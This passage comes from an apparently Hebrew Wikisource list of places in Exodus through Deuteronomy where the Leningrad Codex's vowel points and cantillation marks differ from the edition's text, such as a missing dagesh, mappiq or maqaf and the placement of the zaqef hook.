#[[שמות טז/טעמים#טז כט|שמות טז,כט]] (ל!=הַשַׁבָּת֒): חסר דגש באות שי&quot;ן
#[[שמות יח/טעמים#יח כה|שמות יח,כה]] (ל!=וַיִתֵּ֥ן): חסר דגש באות יו&quot;ד
#[[שמות כ/טעמים#כ ב|שמות כ,ב]] (ל!=לֹֽ֣א יִהְיֶ֥ה־לְךָ֛֩): חסר מקף אחרי &quot;לא&quot; לטעם התחתון, ויש קו אחד בלבד באות יו&quot;ד השניה הנוטה כמרכא; אך סביר שהקו באות יו&quot;ד מתפקד בתור מרכא של הטעם התחתון וגעיה של הטעם העליון כאחד.
#[[שמות כ/טעמים#כ ג|שמות כ,ג]] (ל!=&lt;לֹֽ֣א תַֽעֲשֶׂ֨ה־לְךָ֥֣&gt;): חסר מקף אחרי &quot;לא&quot; לטעם התחתון
#[[שמות כ/טעמים#כ ג|שמות כ,ג]] (ל!=וְכׇל־תְּמוּנָ֡֔ה): פזר לטעם העליון לפני זקף קטן לטעם התחתון
#[[שמות כ/טעמים#כ ג|שמות כ,ג]] (ל!=מִמַּ֡֔עַל): פזר לטעם העליון לפני זקף קטן לטעם התחתון
#[[שמות כ/טעמים#כ ג|שמות כ,ג]] (ל!=וַאֲשֶׁ֥֣ר): מרכא ומונח באות שי&quot;ן, למרות שיש מרכא בטעם התחתון ובטעם העליון כאחד
#[[שמות כ/טעמים#כ ד|שמות כ,ד]] (ל!=לֹֽא־תִשְׁתַּחְוֶ֥֣ה): אות חי&quot;ת שווּאה במקום חטף פתח
#[[שמות כ/טעמים#כ ז|שמות כ,ז]] (ל!=הַשַׁבָּ֖֜ת): חסר דגש באות שי&quot;ן
#[[שמות כ/טעמים#כ ט|שמות כ,ט]] (ל!=אֱלֹהֶ֑֑֗יךָ): טעם האתנח נכתב פעמיים מתחת לאות ה&quot;א, לפני הסגול ולאחריו (!)
#[[שמות כ/טעמים#כ ט|שמות כ,ט]] (ל!=כָל־מְלָאכָ֡֜ה): פזר לטעם העליון לפני אזלא לטעם התחתון
#[[שמות כ/טעמים#כ ט|שמות כ,ט]] (ל!=וּבִנְךָֽ֣־וּ֠בִתֶּ֗ךָ): געיה לטעם העליון לפני מונח לטעם התחתון (באות כ&quot;ף סופית)
#[[שמות כ/טעמים#כ י|שמות כ,י]] (ל!=הַשַׁבָּ֖ת): חסר דגש באות שי&quot;ן
#[[שמות כא/טעמים#כא ט|שמות כא,ט]] (ל!=יַעֲשֶׂה־לָּֽה): חסרה נקודת המפיק באות ה&quot;א
#[[שמות כא/טעמים#כא יא|שמות כא,יא]] (ל!=לָ֑ה): חסרה נקודת המפיק באות ה&quot;א
#[[שמות כב/טעמים#כב כא|שמות כב,כא]] (ל?=לֹּ֥א תְעַנּֽוּן): למ&quot;ד דגושה?
#[[שמות כב/טעמים#כב כח|שמות כב,כח]] (ל=תִּתֶּן־לִּֽי): למ&quot;ד דגושה
#[[שמות כו/טעמים#כו ג|שמות כו,ג]] (ל?!=תִּֽהְיֶ֙יּןָ֙): יו&quot;ד דגושה?
#[[שמות כז/טעמים#כז ה|שמות כז,ה]] (ל?!=כַּרְכֹּ֥בּ): בי&quot;ת דגושה?
#[[שמות כז/טעמים#כז טו|שמות כז,טו]] (ל!=חְמֵ֥שׁ): שווא באות חי&quot;ת
#[[שמות כח/טעמים#כח א|שמות כח,א]] (ל?=אִתּ֔וֹ): שתי נקודות לטעם זקן קטן?
#[[שמות כח/טעמים#כח י|שמות כח,י]] (ל!=הַשִׁשָּׁ֧ה): חסר דגש באות שי&quot;ן הראשונה
#[[שמות כח/טעמים#כח כז|שמות כח,כז]] (ל!=מֶחְבַּרְתּ֑וֹ): סגול באות מ&quot;ם
#[[שמות כט/טעמים#כט כב|שמות כט,כב]] (ל!=וְאֶת־הֲחֵ֙לֶב֙): חטף פתח באות ה&quot;א
#[[שמות כט/טעמים#כט כג|שמות כט,כג]] (ל!=וַֽחַלַּ֨ת): פתח באות וי&quot;ו
#[[שמות ל/טעמים#ל ח|שמות ל,ח]] (ל!=הָעֲרְבַּ֖יִם): חטף פתח באות עי&quot;ן
#[[שמות ל/טעמים#ל לו|שמות ל,לו]] (ל?=מִמֶ֜נָּה [2]): חסר דגש באות מ&quot;ם השניה?
#[[שמות לא/טעמים#לא טו|שמות לא,טו]] (ל!=הַשַׁבָּ֖ת): חסר דגש באות שי&quot;ן
#[[שמות לב/טעמים#לב יז|שמות לב,יז]] (ל!=בַּֽמַּחֲנֶה): חסר סילוק
#[[שמות לב/טעמים#לב יט|שמות לב,יט]] (ל!=וַיְּשַׁבֵּ֥ר): דגש באות יו&quot;ד
#[[שמות לג/טעמים#לג י|שמות לג,י]] (ל=וְהִֽשְׁתַּחֲוּ֔וּ): נקודה בוי&quot;ו עיצורית
#[[שמות לג/טעמים#לג טז|שמות לג,טז]] (ל!=וְנִפְלֵ֙ינוּ֙): צירה באות למ&quot;ד (במקום חיריק)
#[[שמות לד/טעמים#לד יט|שמות לד,יט]] (ל!=וָשֶֽׁה): נקודת שי&quot;ן ימנית
#[[שמות לה/טעמים#לה ג|שמות לה,ג]] (ל!=הַשַׁבָּֽת): חסר דגש באות שי&quot;ן
#[[שמות לה/טעמים#לה ז|שמות לה,ז]] (ל!=שִׂטִּֽים): נקודת שי&quot;ן שמאלית
#[[שמות לה/טעמים#לה כ|שמות לה,כ]] (ל=וַיֵּֽצְא֛וּ):  געיה ותביר (במקום מרכא בתיבת תביר)
#[[שמות לה/טעמים#לה כו|שמות לה,כו]] (ל=טָוּ֖וּ): נקודה בוי&quot;ו עיצורית
#[[שמות לה/טעמים#לה לב|שמות לה,לב]] (ל!=מַֽחַשָׁבֹ֑ת): חסרות נקודות החטף באות חי&quot;ת
#[[שמות לח/טעמים#לח יב|שמות לח,יב]] (ל?!=עַמּוּדֵיהֶ֥ם): בקו של טעם מרכא במקום מונח?{{הערה|ייתכן שרק נשמט הקו התחתון של טעם המונח.}}
#[[שמות לח/טעמים#לח כ|שמות לח,כ]] (ל!=וְֽכׇל הַיְתֵדֹ֞ת): חסר מקף
#[[שמות לח/טעמים#לח כא|שמות לח,כא]] (ל=הַלְוִּיִּ֔ם): נקודה בוי&quot;ו עיצורית
#[[שמות לט/טעמים#לט כ|שמות לט,כ]] (ל!=מִלְמַ֙טָּה֙): חסר דגש באות למ&quot;ד
#[[שמות לט/טעמים#לט כ|שמות לט,כ]] (ל!=מֶחְבַּרְתּ֑וֹ): סגול באות מ&quot;ם

ב. חטף קמץ לסימון תנועת קמץ חטוף:
#[[שמות לז/טעמים#לז כה|שמות לז,כה]] (ל=רֳחְבּ֜וֹ): קמץ קטן במהדורתנו

ג. מתיגת הזקף
#[[שמות ח/טעמים#ח א|שמות ח,א]] (ל=עַל־הַ֨נְּהָרֹ֔ת): מקום המתיגה
#[[שמות כא/טעמים#כא יא|שמות כא,יא]] (ל=וְאִם־שְׁלָ֨שׁ־אֵ֔לֶּה): מקום המתיגה
#[[שמות כה/טעמים#כה כ|שמות כה,כ]] (ל=אֶל־הַכַּפֹּ֔רֶת): אין מתיגה
#[[שמות כה/טעמים#כה לד|שמות כה,לד]] (ל=מְשֻׁקָּדִ֔ים): אין מתיגה
#[[שמות כו/טעמים#כו יז|שמות כו,יז]] (ל=מְשֻׁלָּבֹ֔ת): אין מתיגה
#[[שמות ל/טעמים#ל לב|שמות ל,לב]] (ל=וּבְמַ֨תְכֻּנְתּ֔וֹ): מקום המתיגה
#[[שמות לד/טעמים#לד א|שמות לד,א]] (ל=אֶת־הַדְּבָרִ֔ים): אין מתיגה
#[[שמות לה/טעמים#לה יא|שמות לה,יא]] (ל=אֶת־הַ֨מִּשְׁכָּ֔ן): מקום המתיגה
#[[שמות לה/טעמים#לה כו|שמות לה,כו]] (ל=וְכׇל־הַ֨נָּשִׁ֔ים): מקום המתיגה
#[[שמות לו/טעמים#לו כב|שמות לו,כב]] (ל=מְשֻׁלָּבֹ֔ת): אין מתיגה
#[[שמות לז/טעמים#לז ט|שמות לז,ט]] (ל=אֶל־הַכַּפֹּ֔רֶת): אין מתיגה
#[[שמות לז/טעמים#לז טז|שמות לז,טז]] (ל=וְאֶת־הַקְּשָׂוֺ֔ת): אין מתיגה
#[[שמות לט/טעמים#לט י|שמות לט,י]] (ל=וַיְמַלְאוּ־ב֔וֹ): אין מתיגה

===ספר ויקרא===

א. {{#קטע:ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה|כותרת לרשימה עיקרית לניקוד וטעמים}}
#[[ויקרא ד/טעמים#ד לה|ויקרא ד,לה]] (ל!=וְאֶת־כׇּל־חֶלְבָּ֣ה): חסרה נקודת המפיק באות ה&quot;א
#[[ויקרא ה/טעמים#ה ז|ויקרא ה,ז]] (ל!=תַגִּ֣יע): חסר פתח גנוב באות עי&quot;ן
#[[ויקרא ה/טעמים#ה יב|ויקרא ה,יב]] (ל!=אֶת־אַזְכָּרָתָה֙): חסרה נקודת המפיק באות ה&quot;א
#[[ויקרא ו/טעמים#ו ג|ויקרא ו,ג]] (ל!=אֶת־הַדֶּ֗שׁן): חסר סגול באות שי&quot;ן
#[[ויקרא ו/טעמים#ו ו|ויקרא ו,ו]] (ל!=תִכְבֶֽה): חסר דגש באות בי&quot;ת
#[[ויקרא ז/טעמים#ז יב|ויקרא ז,יב]] (ל!=בַשָּֽׁמֶן): חסר דגש באות בי&quot;ת
#[[ויקרא ח/טעמים#ח טז|ויקרא ח,טז]] (ל!=&lt;וְאֶֽת חֶלְבְּהֶ֑ן&gt;): חסר מקף
#[[ויקרא ח/טעמים#ח כד|ויקרא ח,כד]] (ל!=וַיִתֵּ֨ן): חסר דגש באות יו&quot;ד
#[[ויקרא ח/טעמים#ח כח|ויקרא ח,כח]] (ל!=וַיִקַּ֨ח): חסר דגש באות יו&quot;ד
#[[ויקרא ח/טעמים#ח כט|ויקרא ח,כט]] (ל!=וַיִקַּ֤ח): חסר דגש באות יו&quot;ד
#[[ויקרא י/טעמים#י א|ויקרא י,א]] (ל!=וַיִתְּנ֤וּ): חסר דגש באות יו&quot;ד
#[[ויקרא י/טעמים#י ד|ויקרא י,ד]] (ל=קִ֠רְב֞וּ): תלישא וגרשיים כשיטת רוב כתבי־היד, כל טעם באות הראויה לו.{{הערה|במהדורתנו &quot;קִ{{מ:גרשיים ותלישא גדולה}}רְב{{מ:גרשיים ותלישא גדולה}}וּ&quot;, לפי שיטת הכתר באות הראשונה (גרשיים ואחר כך תלישא גדולה), ובתוספת טעם כפול בהברה המוטעמת.}}
#[[ויקרא יג/טעמים#יג ג|ויקרא יג,ג]] (ל!=הַנֶּ֙גֶע֙): סגול באות גימ&quot;ל
#[[ויקרא יג/טעמים#יג כו|ויקרא יג,כו]] (ל!=אֵֽין־בַּבֶּהֶ֙רֶת֙): סגול באות בי&quot;ת
#[[ויקרא יג/טעמים#יג נ|ויקרא יג,נ]] (ל!=אֶת־הַנָ֑גַע): חסר דגש באות נו&quot;ן
#[[ויקרא יד/טעמים#יד כא|ויקרא יד,כא]] (ל!=בָּ֥לוּל): טעם המרכא באות בי&quot;ת
#[[ויקרא יד/טעמים#יד כה|ויקרא יד,כה]] (ל!=אֹֽזֶן־הַמִטַּהֵ֖ר): חסר דגש באות מ&quot;ם
#[[ויקרא יד/טעמים#יד נג|ויקרא יד,נג]] (ל!=אֶת־הַצִפֹּ֧ר): חסר דגש באות צד&quot;י
#[[ויקרא טו/טעמים#טו ח|ויקרא טו,ח]] (ל!=וְכִֽי־יָרֹ֛ק): בנקודת תביר (במקום מרכא)
#[[ויקרא טז/טעמים#טז כא|ויקרא טז,כא]] (ל=עַ֨ל): קדמא במקום מונח
#[[ויקרא כד/טעמים#כד י|ויקרא כד,י]] (ל!=הַיִּשְׁרְאֵלִ֔ית): בנקודת שי”ן ימנית
#[[ויקרא כה/טעמים#כה כ|ויקרא כה,כ]] (ל?!=מַה־נֹּאכַ֤֖ל): מהפך וטפחא ביחד באות כ&quot;ף?
#[[ויקרא כה/טעמים#כה מו|ויקרא כה,מו]] (ל!=וְהִתְנַחֲלְתֶּ֨ם): חטף פתח באות חי&quot;ת
#[[ויקרא כו/טעמים#כו כח|ויקרא כו,כח]] (ל!=עַל־חַטֹּאתֵיכֶם): חסר סילוק
#[[ויקרא כו/טעמים#כו לד|ויקרא כו,לד]] (ל=הֳשַׁמָּ֔ה): חטף קמץ באות ה&quot;א הראשונה, ואין דגש באות שי&quot;ן
#[[ויקרא כו/טעמים#כו לה|ויקרא כו,לה]] (ל=הָשַׁמָּ֖ה): אין דגש באות שי&quot;ן
#[[ויקרא כו/טעמים#כו מג|ויקרא כו,מג]] (ל=בָּהְּשַׁמָּה֙): מפיק באות ה&quot;א הראשונה
#[[ויקרא כז/טעמים#כז לג|ויקרא כז,לג]] (ל=יִֽהְיֶה־קֹ֖דֶשׁ): חסר דגש באות קו&quot;ף לעומת הפסוק הקודם

ב. חטף קמץ לסימון תנועת קמץ חטוף:
#[[ויקרא כו/טעמים#כו לד|ויקרא כו,לד]] (ל=הֳשַׁמָּ֔ה): קמץ קטן במהדורתנו (וראו גם לעיל א. 26, 27, 28 ונוסח הכתר ב[[דברי הימים ב לו/טעמים#לו כא|דה&quot;ב לו,כא]])

ג. מתיגת הזקף:
#[[ויקרא ז/טעמים#ז כה|ויקרא ז,כה]] (ל=מִן־הַ֨בְּהֵמָ֔ה): מקום המתיגה
#[[ויקרא ח/טעמים#ח כ|ויקרא ח,כ]] (ל=וְאֶת־הָאַ֔יִל): אין מתיגה
#[[ויקרא ט/טעמים#ט יט|ויקרא ט,יט]] (ל=וּמִן־הָאַ֔יִל): אין מתיגה
#[[ויקרא יא/טעמים#יא יד|ויקרא יא,יד]] (ל=וְאֶת־הַ֨דָּאָ֔ה): מקום המתיגה
#[[ויקרא יא/טעמים#יא לג|ויקרא יא,לג]] (ל=וְכָל־כְּלִי־חֶ֔רֶשׂ): אין מתיגה
#[[ויקרא טו/טעמים#טו יב|ויקרא טו,יב]] (ל=וְכָל־כְּלִי־עֵ֔ץ): אין מתיגה
#[[ויקרא טו/טעמים#טו כב|ויקרא טו,כב]] (ל=וְכָל־הַנֹּגֵ֔עַ): אין מתיגה
#[[ויקרא כ/טעמים#כ יז|ויקרא כ,יז]] (ל=וְנִכְרְת֔וּ): אין מתיגה
#[[ויקרא כא/טעמים#כא ח|ויקרא כא,ח]] (ל=וְקִדַּשְׁתּ֔וֹ): אין מתיגה
#[[ויקרא כב/טעמים#כב יב|ויקרא כב,יב]] (ל=וּבַת־כֹּהֵ֔ן): אין מתיגה
#[[ויקרא כה/טעמים#כה יב|ויקרא כה,יב]] (ל=מִן־הַ֨שָּׂדֶ֔ה): מקום המתיגה
#[[ויקרא כז/טעמים#כז ט|ויקרא כז,ט]] (ל=וְאִם־בְּהֵמָ֔ה): אין מתיגה
#[[ויקרא כז/טעמים#כז כה|ויקרא כז,כה]] (ל=וְכָל־עֶרְכְּךָ֔): אין מתיגה

===ספר במדבר===

א. {{#קטע:ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה|כותרת לרשימה עיקרית לניקוד וטעמים}}
#[[במדבר ב/טעמים#ב יד|במדבר ב,יד]] (ל!=וְמַטֵּ֖ה): שווא באות וי&quot;ו
#[[במדבר ב/טעמים#ב טו|במדבר ב,טו]] (ל!=חֲמִשָׁ֤ה): חסר דגש באות שי&quot;ן
#[[במדבר ג/טעמים#ג ל|במדבר ג,ל]] (ל!=אֶלִיצָפָ֖ן): נקודות החטף חסרות באות אל&quot;ף
#[[במדבר ד/טעמים#ד מט|במדבר ד,מט]] (ל!=בְּיַד מֹשֶׁ֔ה): חסר מקף
#[[במדבר ז/טעמים#ז יח|במדבר ז,יח]]: מכאן ואילך אין ניקוד ברוב התיבות בכתי&quot;ל (וכך הוא בעוד כתבי־יד ובחלק מהדפוסים), עד סוף היום השנים עשר ([[במדבר ז/טעמים#ז פג|פסוק פ&quot;ג]]); הטעמים והגעיות מסומנים.
#[[במדבר ז/טעמים#ז ס|במדבר ז,ס]] (ל!=בִנְיָמ֑͏ִן): האתנח מימין החיריק באות מ&quot;ם
#[[במדבר ז/טעמים#ז עב|במדבר ז,עב]] (ל!=בָּן־עׇכְרָֽן): קמץ באות בי&quot;ת
#[[במדבר ח/טעמים#ח יח|במדבר ח,יח]] (ל=וָאֶקַּח֙ אֶת־הַלְוִיִּ֔ם): פשטא וזקף קטן במקום טפחא ואתנח
#[[במדבר ט/טעמים#ט ג|במדבר ט,ג]] (ל!=הָֽעֲרְבַּ֛יִם): חטף פתח באות עי&quot;ן
#[[במדבר י/טעמים#י ט|במדבר י,ט]] (ל!=וֲנִזְכַּרְתֶּ֗ם): חטף פתח באות וי&quot;ו
#[[במדבר י/טעמים#י טו|במדבר י,טו]] (ל=יִשָׂשכָ֑ר): חסר דגש באות שי&quot;ן הראשונה
#[[במדבר יא/טעמים#יא כו|במדבר יא,כו]] (ל!=וַיִשָּׁאֲר֣וּ): חסר דגש באות יו&quot;ד
#[[במדבר יב/טעמים#יב ט|במדבר יב,ט]] (ל!=וַיִּֽחַרְאַ֧ף): שתי התיבות חוברו ללא רווח ביניהן (במקום מקף), ואף נכתב שווא באות רי&quot;ש!
#[[במדבר טו/טעמים#טו לח|במדבר טו,לח]] (ל?=וְנָֽתְנ֛וּ): געיה ותביר (במקום מרכא בתיבת תביר)?
#[[במדבר טז/טעמים#טז כא|במדבר טז,כא]] (ל!=וַאַכַלֶּ֥ה): חסרות נקודות החטף באות אל&quot;ף
#[[במדבר טז/טעמים#טז כז|במדבר טז,כז]] (ל!=מִשְׁכַּן־קֹ֛רֶח): סגול באות קו&quot;ף
#[[במדבר יז/טעמים#יז יב|במדבר יז,יב]] (ל!=אֶל־תּ֣וֹך): חסר שווא באות כ&quot;ף סופית
#[[במדבר יז/טעמים#יז כז|במדבר יז,כז]] (ל?!=אָבָֽדְנּוּ): נקודת דגש באות נו&quot;ן?
#[[במדבר יט/טעמים#יט כא|במדבר יט,כא]] (ל?!=לָּהֶ֖ם): למ&quot;ד דגושה?
#[[במדבר כא/טעמים#כא א|במדבר כא,א]] (ל?=הָאֳתָרִ֑ים): קמץ חטוף באות אל&quot;ף?
#[[במדבר כב/טעמים#כב ט|במדבר כב,ט]] (ל?!=הָאֶ֖לֶּה): סגול באות אל&quot;ף?
#[[במדבר כב/טעמים#כב כג|במדבר כב,כג]] (ל!=מִן־הַדֶ֔רֶךְ): חסר דגש באות בי&quot;ת
#[[במדבר כד/טעמים#כד יג|במדבר כד,יג]] (ל!=מִלִבִּ֑י): חסר דגש באות למ&quot;ד
#[[במדבר כה/טעמים#כה ב|במדבר כה,ב]] (ל=וַיִּֽשְׁתַּחֲוּ֖וּ): נקודה בוי&quot;ו עיצורית
#[[במדבר כו/טעמים#כו ז|במדבר כו,ז]] (ל=הָרֻֽאוּבֵנִ֑י): קובוץ ושורוק בהברה השנייה
#[[במדבר כו/טעמים#כו ס|במדבר כו,ס]] (ל!=וַיִוָּלֵ֣ד): חסר דגש באות יו&quot;ד
#[[במדבר כז/טעמים#כז ט|במדבר כז,ט]] (ל!=לְאֶחָיו): חסר סילוק
#[[במדבר לא/טעמים#לא לב|במדבר לא,לב]] (ל?=וַחֲמֵֽשֶׁת־אֲלָפִֽים או וַחֲמֵ֥שֶׁת־אֲלָפִֽים): &quot;וחמשת&quot; מוקפת ובגעיה, או מקף בתיבת משרת (במקום &quot;וַחֲמֵ֥שֶׁת אֲלָפִֽים&quot;)?
#[[במדבר לב/טעמים#לב כ|במדבר לב,כ]] (ל?=אִם־תֵּחָֽלְצ֛וּ): געיה ותביר (במקום מרכא בתיבת תביר)?
#[[במדבר לג/טעמים#לג יד|במדבר לג יד]] (ל?!=וַיַֽחֲנוּ֙): חסר דגש באות יו&quot;ד, וספק געיה ימנית באותה אות יו&quot;ד (במקום באות וי&quot;ו)
#[[במדבר לד/טעמים#לד כו|במדבר לד,כו]] (ל=בְנֵֽי־יִשָׂשכָ֖ר): אין דגש באות שי&quot;ן הראשונה
#[[במדבר לד/טעמים#לד כח|במדבר לד,כח]] (ל?=פְּדַהְּאֵ֖ל): נקודת מפיק באות ה&quot;א
#[[במדבר לה/טעמים#לה כ|במדבר לה,כ]] (ל!=יֶהְדָּפֶ֑נּוּ): חסרות נקודות החטף קמץ באות דל&quot;ת
#[[במדבר לו/טעמים#לו א|במדבר לו,א]] (ל?=וַֽיִקְרְב֞וּ): חסר דגש באות יו&quot;ד?

ב. מתיגת הזקף: 
#[[במדבר ג/טעמים#ג לו|במדבר ג,לו]] (ל=וְכָל־כֵּלָ֔יו): אין מתיגה
#[[במדבר ד/טעמים#ד כז|במדבר ד,כז]] (ל=לְכָל־מַשָּׂאָ֔ם): אין מתיגה
#[[במדבר ד/טעמים#ד לב|במדבר ד,לב]] (ל=לְכָל־כְּלֵיהֶ֔ם): אין מתיגה
#[[במדבר ו/טעמים#ו י|במדבר ו,י]] (ל=אֶל־הַכֹּהֵ֔ן): אין מתיגה
#[[במדבר ח/טעמים#ח ח|במדבר ח,ח]] (ל=וּמִנְחָת֔וֹ): אין מתיגה
#[[במדבר י/טעמים#י יד|במדבר י,יד]] (ל=וְעַל־צְבָא֔וֹ): אין מתיגה
#[[במדבר י/טעמים#י יח|במדבר י,יח]] (ל=וְעַל־צְבָא֔וֹ): אין מתיגה
#[[במדבר י/טעמים#י כב|במדבר י,כב]] (ל=וְעַל־צְבָא֔וֹ): אין מתיגה
#[[במדבר י/טעמים#י כה|במדבר י,כה]] (ל=וְעַל־צְבָא֔וֹ): אין מתיגה
#[[במדבר י/טעמים#י כו|במדבר י,כו]] (ל=וְעַל־צְבָ֔א): אין מתיגה
#[[במדבר יח/טעמים#יח כט|במדבר יח,כט]] (ל=מִכָּל־חֶלְבּ֔וֹ): אין מתיגה
#[[במדבר כח/טעמים#כח כח|במדבר כח,כח]] (ל=וּמִנְחָתָ֔ם): אין מתיגה
#[[במדבר כט/טעמים#כט ג|במדבר כט,ג]] (ל=וּמִנְחָתָ֔ם): אין מתיגה
#[[במדבר כט/טעמים#כט ט|במדבר כט,ט]] (ל=וּמִנְחָתָ֔ם): אין מתיגה
#[[במדבר כט/טעמים#כט יד|במדבר כט,יד]] (ל=וּמִנְחָתָ֔ם): אין מתיגה
#[[במדבר לא/טעמים#לא לה|במדבר לא,לה]] (ל=מִן־הַ֨נָּשִׁ֔ים): מקום המתיגה
#[[במדבר לב/טעמים#לב לג|במדבר לב,לג]] (ל=וְאֶת־מַמְלֶ֔כֶת): אין מתיגה
#[[במדבר לה/טעמים#לה ל|במדבר לה,ל]] (ל=כָּל־מַ֨כֵּה־נֶ֔פֶשׁ): מקום המתיגה

===ספר דברים===

א. {{#קטע:ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה|כותרת לרשימה עיקרית לניקוד וטעמים}}
#[[דברים א/טעמים#א לא|דברים א,לא]] (ל?!=יִשָׂא־אִ֖ישׁ): חסר דגש באות שי&quot;ן הראשונה?
#[[דברים א/טעמים#א לח|דברים א,לח]] (ל=בִּן נוּן֙): חסר מקף
#[[דברים א/טעמים#א לט|דברים א,לט]] (ל?!=יִירָשֽׁוּהָּ): נקודת מפיק מיותרת באות ה&quot;א?
#[[דברים ב/טעמים#ב ט|דברים ב,ט]] (ל!=אֶל־תָּ֙צַר֙): &quot;אל&quot; בסגול
#[[דברים ג/טעמים#ג יב|דברים ג,יב]] (ל=לָרֻֽאוּבֵנִ֖י): קובוץ ושורוק בהברה השנייה
#[[דברים ג/טעמים#ג טז|דברים ג,טז]] (ל=וְלָרֻאוּבֵנִ֨י): קובוץ ושורוק בהברה השנייה
#[[דברים ג/טעמים#ג כב|דברים ג,כב]] (ל?!=תְִּירָא֑וּם): חטף-חיריק באות תי&quot;ו?
#[[דברים ג/טעמים#ג כד|דברים ג,כד]] (ל=יְהֹוִ֗ה): נקודת חולם בשם הוי&quot;ה בתוך כתב־היד?
#[[דברים ד/טעמים#ד ז|דברים ד,ז]] (ל?!=בְּכָּל־קׇרְאֵ֖נוּ): דגש מיותר באות כ&quot;ף?
#[[דברים ד/טעמים#ד כא|דברים ד,כא]] (ל!=הִתְאַנֶּף־בִּ֖י): סגול באות נו&quot;ן
#[[דברים ד/טעמים#ד לה|דברים ד,לה]] (ל!=מִלְבַדּֽוֹ): חסר דגש באות למ&quot;ד
#[[דברים ד/טעמים#ד מג|דברים ד,מג]] (ל=לָרֻֽאוּבֵנִ֑י): קובוץ ושורוק בהברה השנייה
#[[דברים ד/טעמים#ד מ|דברים ד,מ]] (ל!=עַל־הַ֣אֲדָמָ֔ה): פתח (במקום קמץ) באות ה&quot;א הראשונה
#[[דברים ה/טעמים#ה ו|דברים ה,ו]] (ל!=&lt;אָֽנֹכִי֙ יְהֹוָ֣ה אֱלֹהֶ֔יךָ&gt;): חסרים המרכא ב&quot;אנכי&quot; והאתנח ב&quot;אלהיך&quot; לטעם העליון
#[[דברים ה/טעמים#ה ו|דברים ה,ו]] (ל!=&lt;לֹ֣א יִהְיֶ֥ה־לְךָ֛֩&gt;): חסר מקף אחרי &quot;לא&quot; לטעם התחתון
#[[דברים ה/טעמים#ה ז|דברים ה,ז]] (ל!=לֹֽ֣א־תַעֲשֶֽׂה־לְךָ֥֣): חסר קדמא באות שי&quot;ן לטעם התחתון
#[[דברים ה/טעמים#ה יא|דברים ה,יא]] (ל!=הַשַׁבָּ֖֨ת): חסר דגש באות שי&quot;ן
#[[דברים ה/טעמים#ה יב|דברים ה,יב]] (ל!=שֵׁ֣֤שֶׁת): מונח לטעם העליון לפני מהפך לטעם התחתון
#[[דברים ה/טעמים#ה יב|דברים ה,יב]] (ל!=יָמִ֣ים): חסר פשטא לטעם התחתון
#[[דברים ה/טעמים#ה יג|דברים ה,יג]] ל!=(לַיהֹוָ֣֥ה): מונח לטעם העליון לפני מרכא לטעם התחתון
#[[דברים ה/טעמים#ה יד|דברים ה,יד]] (ל!=הַשַׁבָּֽת): חסר דגש באות שי&quot;ן
#[[דברים ה/טעמים#ה טז|דברים ה,טז]] (ל=תִּֿרְצָֽח): חסר טפחא לטעם התחתון{{הערה|ברויאר הציע שהקו המאונך תחת האות צד&quot;י משמש בכתי&quot;ל כטפחא וסילוק כאחד.}}
#[[דברים ה/טעמים#ה טז|דברים ה,טז]] (ל!=תִּֿנְאָֽ֑ף): סילוק לטעם העליון לפני אתנח לטעם התחתון
#[[דברים ו/טעמים#ו ג|דברים ו,ג]] (ל!=אֲבֹ֙תֶיךָ֙): הפשטא מלעיל נכתבה באות בי&quot;ת (במקום באות תי&quot;ו)
#[[דברים ז/טעמים#ז ח|דברים ז,ח]] (ל!=וּמִשָּׁמְר֤וּ): נקודת שורוק באות וי&quot;ו האחרונה (במקום חולם)
#[[דברים ח/טעמים#ח ג|דברים ח,ג]] (ל!=אֶת הַמָּן֙): חסר מקף
#[[דברים ט/טעמים#ט ג|דברים ט,ג]] (ל!=וְהַֽאַבַדְתָּם֙): חסרות נקודות החטף באות אל&quot;ף
#[[דברים י/טעמים#י א|דברים י,א]] (ל!=שְׁנֵֽי־לֻוחֹ֤ת): בנקודות שורוק למרות הכתיב המלא וי”ו
#[[דברים י/טעמים#י ו|דברים י,ו]] (ל=נָֽסְע֛וּ): געיה ותביר (במקום מרכא בתיבת תביר)
#[[דברים י/טעמים#י טו|דברים י,טו]] (ל!=הַזֶּה): חסר סילוק
#[[דברים י/טעמים#י כב|דברים י,כב]] (ל!=מִצְרָ֑יְמָהּ): נקודת מפיק באות ה&quot;א
#[[דברים יב/טעמים#יב ב|דברים יב,ב]] (ל!=רַעֲנָן): חסר סילוק
#[[דברים יב/טעמים#יב ג|דברים יב,ג]] (ל!=אֶת־מִזְבּחֹתָ֗ם): חסר שווא באות בי&quot;ת
#[[דברים יב/טעמים#יב ה|דברים יב,ה]] (ל=שָֽׁמָּה): אין דגש באות שי&quot;ן
#[[דברים יב/טעמים#יב ל|דברים יב,ל]] (ל?=לֵאמֹ֗ר* או לֵאמֹ֨ר): טעם רביע או טעם קדמא?{{הערה|נראה שנקודת החולם התחברה לאות מ&quot;ם ולכן נראית כמו קדמא.}}
#[[דברים יב/טעמים#יב לא|דברים יב,לא]] (ל?!=כָּל־תּוֹעֲבַ֨ת): כ&quot;ף דגושה?
#[[דברים יג/טעמים#יג י|דברים יג,י]] (ל?=יָֽדְךָ֛): געיה ותביר (במקום מרכא בתיבת תביר)?
#[[דברים יג/טעמים#יג טו|דברים יג,טו]] (ל!=וְדָרַשְׁתָּ֧ וְחָקַרְתָּ֧): &quot;וְחָקַרְתָּ֧&quot; בטעם דרגה (במקום תביר)!
#[[דברים יג/טעמים#יג טז|דברים יג,טז]] (ל?=אֶת־יֹֽשְׁבֵ֛י): געיה ותביר (במקום מרכא בתיבת תביר)?
#[[דברים טו/טעמים#טו ט|דברים טו,ט]] (ל!=עִם לְבָבְךָ֨): חסר מקף
#[[דברים טז/טעמים#טז ג|דברים טז,ג]] (ל?=תִּזְכֹּר֔): בטעם זקף קטן (במקום רביע)?
#[[דברים יז/טעמים#יז ז|דברים יז,ז]] (ל!=מִּקִּרְבֶּֽךָ): מ&quot;ם דגושה
#[[דברים יח/טעמים#יח ד|דברים יח,ד]] (ל=תִּתֶּן־לּֽוֹ): למ&quot;ד דגושה
#[[דברים יח/טעמים#יח יד|דברים יח,יד]] (ל?!=נָ֛תַן): בנקודת תביר (במקום מרכא)?
#[[דברים כ/טעמים#כ יב|דברים כ,יב]] (ל?!=עָלֶֽיהָּ): נקודת מפיק באות ה&quot;א?
#[[דברים כא/טעמים#כא יא|דברים כא,יא]] (ל!=וְרָאִיתָ֙): חסר פשטא מלעיל
